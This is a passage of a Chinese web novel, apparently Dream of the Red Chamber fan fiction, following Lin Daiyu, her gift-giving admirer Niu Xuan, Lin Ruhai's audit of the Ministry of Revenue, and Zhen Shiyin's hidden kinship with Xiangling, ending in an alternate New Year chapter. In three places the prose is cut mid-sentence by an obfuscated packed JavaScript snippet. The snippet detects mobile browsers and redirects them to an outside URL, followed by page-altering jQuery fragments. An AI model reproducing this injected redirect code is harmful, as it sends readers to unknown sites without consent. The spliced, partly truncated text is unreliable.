今日她穿着鹅黄绣蝶的罗裙,头戴赤金点翠步摇,明艳照人,一见黛玉,便笑道:“果然林姑娘在此,我今日去绸缎庄挑料子,路过严府,想着严姐姐与林姑娘相熟,便冒昧进来叨扰,姐姐莫怪。” 严素心忙道:“牛小姐说哪里话,快请坐。” 牛萱在黛玉身边坐下,一双眼睛只看着黛玉:“林姑娘今日这身衣裳好,淡雅清丽,正配这荷塘景致。” 黛玉欠身:“牛小姐谬赞。” “我说的是真心话。”牛萱认真道,“那日在林府见了姑娘,我便想,这京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16938596|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闺秀千百,可像姑娘这般品貌才情的再找不出第二个,便是宫里的公主郡主,也未必及得上姑娘。” 这话说得太重,众人都变了脸色。 严太太轻咳一声:“牛小姐,这话可不敢乱说。” 牛萱却不以为意:“怕什么,这里又没外人,我是实话实说罢了。”她又转向黛玉,“林姑娘,我前日送的信,你可看了?” 黛玉点头:“看了,多谢牛小姐厚爱,只是近日事忙,改日再登门拜访。” 这便是婉拒了。牛萱脸上掠过一丝失望,却仍笑道:“无妨,姑娘何时得空,何时来便好,我家园子里也有处荷塘,虽不及严姐姐家精致,却也别有趣味。姑娘若来,我定好生招待。” 说着,从腕上褪下一只翡翠镯子,便要往黛玉手上套:“这镯子是我生辰时祖母给的,我瞧着,正配姑娘。” 黛玉忙推辞:“这太贵重了,我不能收。” “姑娘不收,便是瞧不起我了。”牛萱执意要送。 严太太见状,忙道:“牛小姐,林姑娘年纪小,戴不得这般贵重的首饰,你的心意她领了,这镯子还是收回去罢。” 牛萱这才作罢,却仍拉着黛玉的手:“那姑娘答应我,得空定要来府里坐坐。” 黛玉只得应了。 牛萱又坐了片刻,方才告辞,她一走,花厅里气氛顿时松快许多。 孙若兰撇嘴道:“瞧她那副巴结样,真叫人看不惯。” 王婉容却道:“牛萱虽有些张扬,可对林妹妹确是真心。她那脾气若不是真心佩服,断不会这般低声下气。” 严素心点头:“这话是,牛萱性子傲,在京中闺秀里是出了名的,她能这般待林妹妹,确是难得。” 黛玉却只淡淡一笑,不再多言。 赏荷至午后,众人才散去。 严素心送黛玉至二门,低声道:“林妹妹,牛萱那人性子是直了些,可人不坏,她既诚心与你结交,你不妨试着相处看看。” 黛玉轻声道:“多谢严姐姐提点,只是道不同不相为谋,牛小姐是勋贵千金,朝廷错综复杂,有些交情,终究不是一路。” 严素心叹息:“你说得也是,这京城里的人情世故,最是复杂,你年纪小,凡事多留个心眼总是好的。” 回到林府,黛玉将今日之事说与父亲听,林如海听完,沉吟道:“牛萱这般殷勤,怕是镇国公府授意的。” “父亲是说……” “牛继宗想与咱们家结好,牛萱不过是棋子。”林如海缓缓道,“不过,玉儿你今日应对得很好,不卑不亢,既全了礼数,又保持了距离。” “女儿只是觉得,与人相交贵在真心,若只为利益便失了本意。” “你能这样想,很好,”林如海欣慰道,“咱们林家虽不是勋贵可也不必仰人鼻息,你有你的风骨,这便是最好的。” 黛玉重重点头。 夜里,黛玉在灯下做针线。 紫鹃在一旁理线,香菱捧着茶伺候,窗外月色如水,荷风送香。 “姑娘,”紫鹃忽然道,“您说牛小姐为何那般推崇您?” 黛玉手中针线不停,轻声道:“许是她觉得,我与旁人不同罢。” “哪里不同?” “我也说不清,”黛玉想到白天牛萱看向自己的模样,“或许……是她见惯了勋贵家的奢靡张扬,忽然见着我这样的,觉得新鲜。” 香菱忽然插话:“奴婢觉得,牛小姐是真心喜欢姑娘,她那日看姑娘的眼神,亮得很,像是像是见了宝贝似的。” 黛玉失笑:“什么宝贝不宝贝的,我不过是个寻常女子,有什么稀罕。” “姑娘可不寻常。”紫鹃正色道,“姑娘的才情品貌,便是放在整个京城,也是顶尖的,牛小姐那般推崇,虽是有些过了,可也不是全无道理。” 黛玉摇头,不再多言,心里门儿清,牛萱如此作态并非勋贵对清流的猎奇。 至于牛萱……顺其自然罢。 窗外,更夫的打更声远远传来。 黛玉放下针线,走到窗前,月色下的荷塘,静谧美好。她忽然想起甄先生那日说的: “这世上的缘分,有深有浅。深的,是一生一世;浅的,不过是擦肩而过,不必强求,也不必遗憾。” 牛萱于她,或许便是那擦肩而过的缘分罢。 这样想着,心里便释然了。 22.暗涌初现 林府廊下悬着菖蒲、艾草,门楣上贴了钟馗像,厨房里飘出粽叶清香,林忠领着仆役在院中洒雄黄酒,说是驱邪避疫。 长生晨起向父亲请安,见林如海正与甄士隐在书房说话,便候在门外,隐约听得父亲道:“……漕运账目不清,这些年怕是有上百万两的亏空,圣上已下密旨,让暗查。” 甄士隐的声音平和:“此事牵涉甚广,林大人务必谨慎。” “先生说得是,”林如海叹息,“可这差事既落到头上,便不能不办,这京城里,多少双眼睛盯着……” 长生听到这里,轻轻叩门。 “进来。” 长生推门而入,向二人行礼:“父亲,甄先生。” 林如海点头:“今日端午,学里放假,你可要好生温书,甄先生在此,有不懂的正好请教。” “是,”长生应了,又对甄士隐道,“学生前日读《史记·货殖列传》,有几句不解,还望先生指点。” 甄士隐微笑:“公子请讲。” 三人说了会子学问,外头黛玉来了,手里提着个五彩丝线编的粽子香囊:“父亲,这是女儿编的,里头装了朱砂、雄黄、香药,可驱邪避疫。” 又递给甄士隐一个:“先生也有。” 甄士隐接过,那香囊小巧精致,编的是如意结。 他摩挲着丝线,低声道:“多谢姑娘。” “先生客气。”黛玉笑道,“厨房包了粽子,有豆沙的、枣泥的、火腿的,午时便好,先生若有想吃的口味,尽管吩咐。” “不必麻烦,都好。” 正说着,外头林忠来报:“老爷,沈大人、周大人来了,还带了位客人。” 林如海起身:“快请。” 来的是沈砚、周文渊,还有位四十来岁的清瘦男子,穿着半旧青衫,气质儒雅。 林如海一见,忙迎上去:“子谦兄!什么风把你吹来了?” 那人拱手笑道:“如海兄回京,我早该来拜会,只是前些日子在河南办差,昨日方回,今日端午,特来叨扰。” 经介绍,长生方知此人姓陆名明远,字子谦,现任河南道监察御史,是林如海的同年,与沈砚、周文渊亦是至交。 众人落座,林如海让长生见过礼。 陆明远打量长生,赞道:“这便是令郎?果然一表人才。听说明年要下场秋闱?真是虎父无犬子。” 长生谦道:“世伯谬赞。” 说笑间,黛玉命人上了茶点,陆明远见那茶点精致,笑道:“如海兄好福气,有这样一双儿女。” 林如海让儿女退下,四人闭门说话,长生退出书房,却未走远,在廊下候着——父亲与这几位大人密谈,定有要事,所以他要偷听。 果然,不多时便听陆明远压低声音道:“如海兄可知,王子腾在查京营亏空?” 林如海声音平静:“略有耳闻,圣上不是命他整顿京营么?” “整顿是名,查亏空是实,”陆明远道,“我离京前得了消息,京营这些年亏空不下百万,其中牵涉怕是不少人。” 沈砚接道:“王子腾这是要借整顿之名,清理异己。只是不知他这把火,会不会玩火自焚。” 周文渊叹息:“如今朝中,清流与勋贵势同水火,王子腾这一动,怕是要掀起大风浪。” 书房里沉默片刻,林如海方道:“圣上既用王子腾,自有圣上的考量,咱们做臣子的,办好分内事便是。” “分内事?”陆明远苦笑,“如海兄,你户部那摊子怕是不比我河南道轻松,我听说,陈启年这几日频频往镇国公府跑。” 长生在门外听得心下一动。 陈启年是户部尚书,父亲的上司,他往镇国公府跑,这意味着什么?不言而喻。 书房里,林如海道:“陈尚书与镇国公有旧,走动也是常情。” “常情?”陆明远声音更低了,“如海兄,你我同年,我便直说了,陈启年与镇国公,还有王子腾,这些年走得近得很。你如今在户部查账,动了多少人的利益,他们能坐视不理?” “子谦兄的意思是……” “我的意思是,你要小心。”陆明远沉声道,“陈启年在户部经营多年,门生故旧遍布,你要动户部,便是动他根基,他若与镇国公、王子腾联手,你这差事,怕是难办。” 林如海默然片刻,方道:“多谢子谦兄提醒,只是这差事是圣上交办的,再难也得办。” “你既有此决心,我们自当支持。”沈砚道,“都察院这边我会盯着,若有异动,即刻知会你。” “翰林院、国子监也会声援。”周文渊道,“清流一脉,同气连枝,他们若敢妄动,咱们也不是好惹的。” 四人又商议片刻,方才散了,长生在陆明远出来前已悄然退到远处,装作刚走来的样子。 送走客人,林如海独坐书房,眉头深锁。 长生进来,轻声道:“父亲可是为户部的事忧心?” 林如海抬眼看他,道:“长生,你觉得为父这差事该不该办?” 长生不假思索:“该办,部亏空,损的是国本,害的是百姓,父亲既为户部侍郎,清查账目,整顿积弊,是分内之事。” “可若因此得罪了陈尚书、镇国公,甚至王子腾,为父在朝中,怕是要举步维艰。” “父亲,”长生正色道,“儿子记得《孟子》有言:‘自反而不缩,虽褐宽博,吾不惴焉,自反而缩,虽千万人,吾往矣。’父亲所为,是为国为民,便是得罪千万人,也该往。” 林如海看着儿子,眼中泛起欣慰之色:“好,好一个虽千万人,吾往矣。” 他起身,走到窗前,望着院中菖蒲艾草,“为父在扬州四年,见多了贪官污吏,也见多了百姓疾苦,这朝中积弊,若无人去清,无人去改,受苦的终究是百姓,长生,你性情聪慧定有察觉。” 他转身,拍了拍长生肩头:“你有此心志,为父便放心了,这朝堂风浪有为父自会应对。你只需好生读书,将来为这天下尽一份力。” “儿子定不负父亲期望。” 午时,林家摆上端午宴,席间有雄黄酒、五毒饼、粽子,还有几样时令小菜。 林如海、长生、黛玉、甄士隐围坐一桌,气氛温馨。 甄士隐今日话不多,只默默吃着粽子,黛玉见他只吃豆沙的,便让香菱又端了一碟来:“先生爱吃豆沙的,这碟是刚出锅的,还热着。” “多谢姑娘。”甄士隐接过,目光在香菱脸上停留一会,又迅速移开。 香菱浑然不觉,只笑着退下。 黛玉却瞧见了,心中微动,这位甄先生对香菱似乎格外关注。 宴毕,黛玉回房小憩。 紫鹃一边为她卸簪环,一边道:“姑娘可瞧见了?甄先生方才看香菱那眼神……” “你也瞧见了?”黛玉从镜中看她。 “奴婢瞧得真真的,”紫鹃低声道,“那眼神像看自家孩子似的,又慈爱,又心酸,姑娘说,甄先生与香菱,会不会……” “休要胡猜,”黛玉打断她,“甄先生是父亲的客人,香菱是咱们家的人,莫要多想。” 话虽如此,她心里却存了疑。 这位甄先生,来得蹊跷,对香菱的态度也蹊跷,可父亲既未说破,她便不好多问,毕竟是父亲的客人。 正想着,外头丫鬟来报:“姑娘,镇国公府牛小姐来了,说是给姑娘送端午礼。” 黛玉蹙眉,牛萱怎么又来了? 到花厅时,牛萱已等在那里,身边跟着两个丫鬟,捧着大盒小盒,见黛玉来,她笑道:“林姑娘端午安康,我备了些薄礼,给姑娘过节。” 说着让丫鬟打开礼盒,有绸缎,有首饰,有文房,还有一盒宫制的五毒饼,一坛雄黄酒。 “这太贵重了,我不能收。”黛玉推辞。 “姑娘若不收,便是瞧不起我了,”牛萱执意要送,又拿出一只锦盒,亲手打开,“这支点翠簪,是我特意为姑娘选的,姑娘气质清雅,正配这翠色。” 那簪子精美,点翠工艺,镶着珍珠,价值不菲。 黛玉仍摇头:“牛小姐厚爱,我心领了,只是这般贵重的礼实在不敢收。” 牛萱不悦,却强笑道:“姑娘这般见外,倒让我难过了,我是真心想与姑娘结交,姑娘却……” “牛小姐误会了,”黛玉温声道,“你我相交,贵在知心,这些身外之物反倒生分了,牛小姐若不嫌弃,我这有个亲手编的香囊,送给小姐,可好?” 说着让紫鹃取来一个五彩丝线香囊,与送给父亲、甄先生的一般无二。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16948123|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >牛萱接过,那香囊虽不及她送的礼贵重,却精致可爱,更重要的是林黛玉亲手编织。 她脸色稍霁:“姑娘亲手做的?” “是,里头装了朱砂、雄黄、香药,可驱邪避疫。” 牛萱将香囊握在手中,低声道:“多谢姑娘,这香囊我定好生收着。” 又坐了片刻,牛萱方告辞,送她走后,黛玉回到花厅看着那堆礼物发愁。 紫鹃道:“姑娘,这些东西怎么办?” “原样收着,登记在册。”黛玉道,“改日备份相当的礼,送回镇国公府。” “牛小姐这般殷勤,姑娘为何……” “她越殷勤,我越不安,”黛玉轻叹,“这般贵重的礼,这般热络的态度,太过了。” “姑娘是说……” “我也说不清,”黛玉摇头,“只觉得这京城里的人情太复杂,不如在扬州时,简简单单的好。” 正说着,长生来了,见满桌礼物,也是一怔:“这是……” “牛小姐送的端午礼,”黛玉道,“我正发愁如何回礼。” 长生看了看礼单,皱眉:“太贵重了,这位牛小姐未免太过。” “你也这般觉得?”黛玉看他。 长生点头:“无事献殷勤,非奸即盗,牛萱这般,定有所图。”心里总感觉不得劲,又补充,“姐姐,我听说,镇国公府与王家是姻亲,与陈尚书也走得近,父亲如今在户部查账,他们这般拉拢咱们家怕是不简单。” 黛玉恍然:“你是说,他们想通过我,拉拢父亲?” “多半如此,”长生冷笑,“只可惜,他们打错了算盘,父亲是何等样人,岂会被这些手段左右?” 姐弟二人正说着,林如海来了。 见满桌礼物,听了缘由,林如海点点头:“既然送了,便收着,玉儿备份回礼,按照人情往来互相妥帖即可,至于其他,莫要打听。” “父亲,”长生道,“牛家这般,怕是冲着户部的事来的。” “我知道。”林如海淡淡道,“他们想拉拢,便让他们拉拢,咱们以不变应万变,看他们能玩出什么花样。” 说着,看向黛玉:“玉儿做得对,不卑不亢,不贪不占,这便是咱们林家的风骨。” 黛玉重重点头。 是夜,月明如昼。 长生在书房温书,忽听窗外有脚步声,他推开窗,见甄士隐站在院中,仰头望月。 “先生还未歇息?”长生问。 甄士隐回头,月光下,他面容清癯,眼神清明:“想起些旧事,睡不着。”又问,“公子可愿陪老朽说说话?” 长生出屋,与甄士隐在院中石凳坐下。 “先生可是想家了?”长生问。 甄士隐沉默良久,方道:“家……早就没了。这些年四处漂泊,原以为心也淡了。可到了这府里,见了……”他看了看四周,改口道,“见了这满院生机,倒想起从前的事来。” “先生从前的家,是什么样子?” “有个小院,种着杏树,春天花开时,满院如雪。”甄士隐声音很轻,“树下有靠椅,拙荆常抱着女儿在树下嬉闹……” 他说不下去了,长生静静等着,等他平复。 良久,甄士隐方道:“让公子见笑了。” “先生重情,何笑之有。”长生道,“先生既念着家人,何不重振旗鼓把握时机?” 甄士隐苦笑,“这些年,我走遍大江南北,见过太多苦乐极悲,太多差之毫厘,如今女儿就近在邻尺,怕又是一场空,或许这便是命罢。” 长生看着他,道:“先生,天时地利已聚,只差人和,为何不相认?” 甄士隐身子一颤,望向长生。 月光下,少年眼神清澈,洞察人心。 “公子为何这般问?” “只是觉得,人生在世,最珍贵的莫过于亲情,”长生微笑道,“若能团聚便是天大的福分,先生以为呢?” 甄士隐久久不语。 “公子说得是,”他终于开口,声音低沉,“若能团聚……确是福分。” 可这福分他不敢奢求,英莲如今平安喜乐,便是够了。至于相认……再等等罢,等他这个父亲,有资格站在女儿面前的时候。 月色渐西,夜已深了。 23.风起青萍 寅时,林如海穿着绯色官袍,金带乌纱,欲上朝。 长生送至二门,道:“父亲今日朝会,可是要动户部的账?” 林如海看他一眼:“你怎么知道?” “儿子猜的,”长生道,“陈尚书这几日频频往镇国公府跑,父亲若再不动,怕是要被动。” “猜对了一半。”林如海淡淡道,“为父今日要动的,不是户部的账,是陈启年的人。” 长生颔首,表示明白了。 马车驶向皇城,车轮碾过青石板,林如海闭目养神,心里想着这几日的布置。 陈启年不愧是老尚书,在户部经营多年,根深蒂固,他回部这半月要什么账册,陈启年都痛快给,问什么事陈启年都耐心答。 表面客气周到,可一到关键处,便推说“年代久远,需慢慢查”“此中复杂,容后再议”。 这般软钉子,碰了几回,林如海便明白了,陈启年这是要拖,拖到他这新官的热乎劲儿过了,拖到圣上忘了这茬,拖到他知难而退。 可惜,陈启年打错了算盘。 马车在午门外停下,林如海下车,见沈砚、周文渊已到了,正与几位清流官员说话。 见他来,都围上来。 “如海兄今日可要小心。”沈砚道,“陈启年昨日在吏部王尚书府上待到深夜,怕是已有对策。” “多谢沈兄提醒,”林如海神色不变,“他有什么招,尽管使出来。” 说话间,陈启年也到了。 这位老尚书今日面色红润,笑容满面,见了林如海,竟主动上前:“林大人早,前日你要的那几本漕运旧账,老夫已让人找出来了,今日便送过去。” “有劳陈尚书。”林如海拱手。 “应该的,应该的,”陈启年笑着,笑意未达眼底,“你初入户部,老夫自当多照应,只是有些账目,年代久远,查起来费时费力,林大人可莫要心急。” 这话听着是关心,实则敲打,林如海不以为意,面上淡淡一笑:“下官省得,只是圣上交办的差事,不敢怠慢,陈尚书放心,下官定会查个水落石出。” 两人目光一碰,各自心知肚明。 朝会开始,依旧是各部奏事,待诸事奏毕,圣上忽然道:“林如海,户部账目,查得如何了?” 林如海出列:“回圣上,臣已查出些眉目。只是……”他意味不明,“有些账目牵涉甚广,需与陈尚书商议。” 陈启年心里暗骂,林如海这话是将他拉上了。 若查出问题,他这尚书也脱不了干系,若查不出,林如海也可推说“与陈尚书商议”。 老狐狸,陈启年暗骂,却不得不接话:“圣上,户部账目繁杂,林侍郎初来,恐不熟悉,臣已让左右侍郎协助,定能查清。” “好,”圣上点头,“给你一月时间,将漕运、盐税、边关粮饷三项账目,查清查实,报上来。” “臣遵旨。” 散朝后,陈启年与林如海并肩出殿,四下无人时,陈启年才出声道:“林大人,有些事不必太过较真,户部这摊子牵一发而动全身,你查得太深对谁都不好。” 林如海停下脚步,看着陈启年:“陈尚书的意思是?” “老夫的意思是,漕运账目,确有疏漏。可这些年漕运总督换了三任,牵扯多少人?若真查个底朝天,朝堂怕是要动荡。”陈启年诱导,“不如……报个总账,将亏空补上,大事化小,小事化了,如此你办了差,圣上满意,同僚也感激。” 这便是要捂盖子,和稀泥了。林如海心中冷笑,面上却作沉吟:“陈尚书此言,是为下官着想,只是…圣上要的是水落石出,这般敷衍,怕是不妥。” “不是敷衍,是稳妥,”陈启年道,“林大人,你初回京不知这朝堂深浅,有些事,不是非黑即白,退一步,海阔天空。” “下官明白了,”林如海拱手,“多谢陈尚书指点。” 陈启年以为他听进去了,满意离去。林如海望着他背影,眼神渐冷。 退一步?他林如海在扬州数年,与那些盐商斗,与地方官斗,何时退过一步?如今回了京,进了户部,更不可能退。 回到户部衙门,林如海径直去了档房,管档的是个老主事,姓赵,在户部三十年,对账册了如指掌。 “赵主事,将宣和三年至宣和七年,所有漕运相关账册,全部调出来。”林如海吩咐。 赵主事一愣:“林大人,这些账册有上百本,您……” “全部调出,一本不许少,”林如海顿了顿,“此事,不必让陈尚书知道。” 赵主事会意,躬身道:“下官明白。” 这边朝堂暗涌,那边国子监也不太平。 长生这日散学,与陈景行并肩走出监门,经过西廊时,见牛清与几个勋贵子弟聚在一处说话,见他们来,声音都小了。 陈景行低声道:“林兄,你可知牛清这几日为何鼻青脸肿?” 长生摇头。 “听说是被他姐姐打的,”陈景行忍笑,“镇国公府那位牛小姐,脾气火爆是出了名的,这几日不知为何,天天在家发脾气,牛清便成了出气筒。” 长生一怔,牛萱打牛清?为何? 正想着,牛清那边传来一阵哄笑。 有人道:“牛兄,你这伤,真是令姐打的?” 牛清恼道:“要你们管!” “说说嘛,令姐为何打你?可是你又在外头惹事了?” “我……”牛清语塞,偷眼看了长生一眼,又迅速移开,“反正……反正你们少打听。” 长生心中一动。 牛清这态度,倒像是……怕他? 正疑惑,那边又有人道:“听说令姐与林家那位小姐交好?可是真的?” “是真的又如何?”牛清没好气道,“我姐姐与谁交好,关你们何事?” “不关我们事,只是好奇。”那人笑道,“林家和你们这交好……怕是不易吧?” “要你管!”牛清霍然起身,狠狠瞪了那人一眼,转身走了。 陈景行看着牛清背影,摇头道:“这位牛公子,也是个可怜人,生在勋贵家,却不得自由。” 长生默然。 或许,牛萱对姐姐的亲近确是真心,与家族无关。 真心在这京城,能抵挡住父辈派别吗?又能维持多久? 回到林府,长生先去书房向父亲请安。林如海正在看账册,见他来,放下手中卷宗:“今日学里可好?” “尚可。”长生将牛清的事说了,末了道,“儿子觉得,牛萱许是真心。” “真心如何,假意又如何?”林如海淡淡道,“玉儿既不愿与她深交,便由她去。至于牛清他若识趣,不来招惹你,便罢了,若还敢生事……” “儿子明白。” 正说着,外头传来黛玉的声音,带着几分笑意:“香菱,你这丫头,今日怎的这般高兴?” 长生推门看去,见黛玉与香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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甄士隐沉默良久,方道:“今日与香菱说了几句话,那孩子懂事得让人心疼。” 他声音有些发颤,“她说不记得父母,不记得家在何处,我听了心里……” 他说不下去了。 “先生,”长生轻声道,“香菱在府中很好,姐姐待她如妹,教她读书识字,她性子温顺,人也勤谨,府中上下都喜欢她。” “我知道,”甄士隐低声道,“林姑娘是好人,林大人是好人,公子你…也是好人,我的、我的孩子能在这样的人家,是福分。” 他终究没说出口。 长生也不点破,只道:“先生若愿意,可常教香菱读书写字,香菱自进了林府,每天都在学习,一点就透,有先生指点,定能进益。” “我……”甄士隐犹豫,“我怕教得不好,误了她。” “先生过谦了,”长生道,“先生的学问,父亲都佩服,若能得先生指点,是香菱的造化。” 甄士隐看着长生,月光下,少年眼神清澈真诚,他心中涌起一阵暖意,重重点头:“好,我教。” 甄士隐忽然觉得,或许这样也好,以师长的身份,教女儿读书写字,看着她一天天进步,一天天长大,这何尝不是一种团圆?更何况……一日为师终身为父。 夜色渐深,甄士隐回房歇息,长生站在院中,望着天上弦月,心里想着朝堂的事。 父亲在户部已动了陈启年的根基,陈启年不会坐以待毙,定有后招,至于镇国公府、王子腾,还有那些勋贵,都不会袖手旁观。 24.if线?岁寒松暖[番外] 某某年,圣上携清流铲除祸根,恰逢新岁。 天刚蒙蒙亮,林府的厨房已飘出炊烟,灶膛里的火噼啪作响,大锅里滚着沸水,蒸笼一层层码得老高,热气蒸腾,带着肉香、米香、枣香,混成一团暖融融的年味儿。 “太太小心烫!” 紫鹃端着刚出笼的枣花馍,一路小跑进正厅,那馍捏成兔子形状,点了红眼睛,胖嘟嘟地排在青瓷盘里,憨态可掬。 贾敏正亲自摆放果碟,闻言转身笑道:“慢些走,仔细脚下。”她今日穿了件暗红绣金线牡丹的袄子,发髻梳得一丝不乱,簪了支赤金点翠步摇,气色极好。 “母亲,您看这窗花贴得可好?” 黛玉从梯子上下来,拍了拍手上的灰,她今日穿了身银红撒花袄,月白绫裙,乌发松松绾了个髻,只插了支白玉簪,清丽中带着几分活泼。 贾敏抬头看,见厅堂六扇长窗,贴满了各色剪纸,有“连年有余”“五谷丰登”,有“喜鹊登梅”“竹报平安”,最中间那扇,贴了个硕大的“福”字,倒着贴的,取“福到”之意。 “好,好。”贾敏连连点头,“玉儿的手是越来越巧了。这‘福’字剪得尤其精神。” “是父亲写的,女儿只照样子剪。”黛玉抿嘴笑,眉眼弯弯。 正说着,外头传来脚步声,林如海与甄士隐并肩走来,身后跟着长生,三人皆穿了新衣,神采奕奕。 “哟,都忙活上了。”林如海笑道,环顾四周,见窗明几净,处处透着喜气,满意点头,“这才像个过年的样子。” 甄士隐今日也换了身藏青缎面直裰,头戴方巾,精神矍铄,自去年与香菱相认,又在林如海力荐下补了户部主事,人仿佛年轻了十岁。 他望着满屋喜庆,眼眶微湿:“这般团圆景象,老夫已多年未见了。” “先生莫要伤感,”长生忙扶他坐下,“今日是除夕,合该欢喜才是。” “是,是。”甄士隐拭了拭眼角,笑道,“老朽是高兴,高兴。” 正说着,香菱端着托盘进来,上头摆着茶盏。 她今日穿了身水红袄子,系了条葱绿裙子,发间簪了朵绒花,俏丽可人,见甄士隐在,脚步一顿,脸上泛起红晕,习惯性唤了句:“爹爹,林伯父,林伯母,林姑娘,林少爷。” 这一声“爹爹”,唤得甄士隐心头发颤,连连应道:“哎,哎,丫头,慢些走,别烫着。” 香菱将茶一一奉上,到甄士隐跟前时,特意多停了一刻,轻声道:“爹爹,这是您爱喝的六安瓜片,女儿特意泡的。” “好,好。”甄士隐接过茶盏,手都有些抖。 众人看在眼里,都含笑不语。 自去年中秋,香菱在整理书房的时候,无意中翻出一块旧帕子,上头绣着“甄英莲”三字,又有她的生辰八字,又与甄士隐珍藏的物件一模一样,这才真相大白。 父女相认那日,甄士隐老泪纵横,香菱也哭成了泪人,如今一年过去,虽还有些生分,可那份血缘亲情,却是实实在在的。 “香菱姐姐,外头有人送年礼来,说是镇国公府的,”雪雁探进头来。 黛玉一怔,镇国公府?牛萱? “我去看看。”长生起身。 不多时,他提了两个食盒进来,后头还跟了个小厮,抱着个锦盒。 “是牛小姐派人送来的,”长生笑道,“说是她亲手做的点心,给姐姐尝尝,还有这锦盒,指名给香菱。” 香菱惊讶:“给我?” 打开锦盒,里头是套文房四宝,一方端砚,一支紫毫笔,一块松烟墨,还有一刀澄心堂纸。 另有一张小笺,上头写着:“闻妹妹喜读书,赠此微物,聊表心意,愿妹妹学业精进,岁岁安康。牛萱” 字迹刚劲,颇有几分英气。 “这……”香菱捧着锦盒,不知如何是好。 黛玉走过来,看了看,笑道:“牛姐姐有心了,这方砚是上品,这笔是湖州紫毫,都是好东西。”她看向香菱,“既是送你的,便收下罢,改日见了,再谢她。” “是。”香菱这才收下,心里却纳闷,她与牛小姐只见过几面,话都没说过几句,怎会送这般贵重的礼? 甄士隐在旁看着,若有所思,他如今是林如海的左膀右臂,对朝中局势与各家关系,也略知一二。 镇国公府这位大小姐,对林家似乎格外上心。 “老爷,太太,饺子馅调好了,可要现在包?”王嬷嬷在门口问。 “包,这就包!”贾敏起身,笑道,“今日咱们都动手,谁也不许偷懒。” 众人移步花厅。 大圆桌上,早已摆好了面盆、馅料、擀面杖,馅料有三种:猪肉白菜、三鲜、素什锦,面是昨夜就和好的,醒得正到好处。 “玉儿,来,娘教你擀皮。”贾敏挽起袖子,拿起擀面杖。 黛玉应了声,学母亲的样子,将面团搓成长条,切成小剂子,可她到底是生手,剂子切得大小不一,有圆有扁。 “我来罢。”长生接过刀,手起刀落,剂子整整齐齐,一般大小。 黛玉不服:“弟弟耍赖,分明是提前学了的,手上稳当,我是头一回,自然不如你。” “是是是,我们林大小姐头一回,已然很好了。”长生打趣,手上不停,又将剂子按扁。 香菱在一旁看着,抿嘴笑,甄士隐也挽了袖子,笑道:“老夫也会包几个,今日也露一手。” “先生会包饺子?”长生好奇。 “年轻时在江南,跟个同窗学的。”甄士隐拿起一张皮,舀了勺馅,手指翻飞,不多时,一个元宝状的饺子便成了,摆在案上,有模有样。 “爹爹好厉害!”香菱惊叹。 这一声“爹爹”,又让甄士隐心头一暖,又急不可耐想在女儿面前露一手,笑道:“来,爹教你。” 父女二人挨着,一个教,一个学。 香菱聪明,学得快,不多时,也能包出像样的饺子了,虽不如甄士隐的精致,却也周正。 林如海与贾敏相视一笑,这般其乐融融的场景,是他们盼了多年的。 “老爷,太太,沈家大人和周家大人来了。”门房来报。 话音未落,沈砚、周文渊已笑着进来,手里都提着东西。 “如海兄,我们来蹭年饭了!”沈砚朗声笑道,将手中食盒递给小厮,“这是家母让带的糟鹅、风鸡,给添个菜。” 周文渊也递上食盒:“这是自家做的年糕,还有坛桂花酒,给助助兴。” “来得正好。”林如海迎上去,“正愁人手不够,你俩既来了,便帮着包饺子罢。” 沈砚、周文渊都是爽快人,洗了手便加入。 沈砚是个能干的,擀皮飞快,一张张饺子皮从他手下飞出,圆如满月,厚薄均匀。 周文渊则专管包,他手巧,能包出好几种花样:麦穗饺、月牙饺、四喜饺,摆了一案板。 “周世伯这手艺,了得!”长生赞道。 周文渊笑:“我从小看着家母学的,我爹常说,男子汉大丈夫,不当囿于庖厨。可我觉得,能为家人做顿饭,是福分。” “正是这个理,”贾敏点头,“一家子团团圆圆,吃什么都是香的。” 正说笑着,外头又有人来,这回是陈景行,他独自一人,提了个食盒,有些腼腆。 “学生给先生、师母拜早年。”陈景行行礼,“家父家母让送些自家做的熏鱼、腊肉,不成敬意。” “景行来了,快坐,”林如海温声道,“你父亲可好?” “家父还好,只是腿脚不便,不能亲来,让学生代为问候。”陈景行说着,看了眼长生,又迅速移开目光。 长生会意,拉他坐下,递了张饺子皮:“既来了,便动手罢,今日咱们自己动手,丰衣足食。” 陈景行这才放松,挽了袖子,认真包起来。 一时间,花厅里笑语喧哗,男子们擀皮、包馅,女子们摆盘、烧水,连黛玉也试着包了几个,虽歪歪扭扭,却得了众人夸赞。 “玉儿这饺子,颇有几分稚趣。”沈砚笑道。 “沈伯伯笑话我。”黛玉嗔道,手上不停,又包了一个,这次好些了。 香菱挨着甄士隐,小声问:“爹爹,这样可对?” “对,对。”甄士隐看着女儿,满眼慈爱,“捏紧些,不然煮时该破了。” 雪雁、紫鹃几个丫头也凑趣,包了几个小巧的,说是“银锭”,讨个吉利。 饺子包了整整十大盘,各种形状都有。 水开了,贾敏亲自下锅,白胖的饺子在沸水里翻滚,不多时便浮上来,香气四溢。 “出锅咯!” 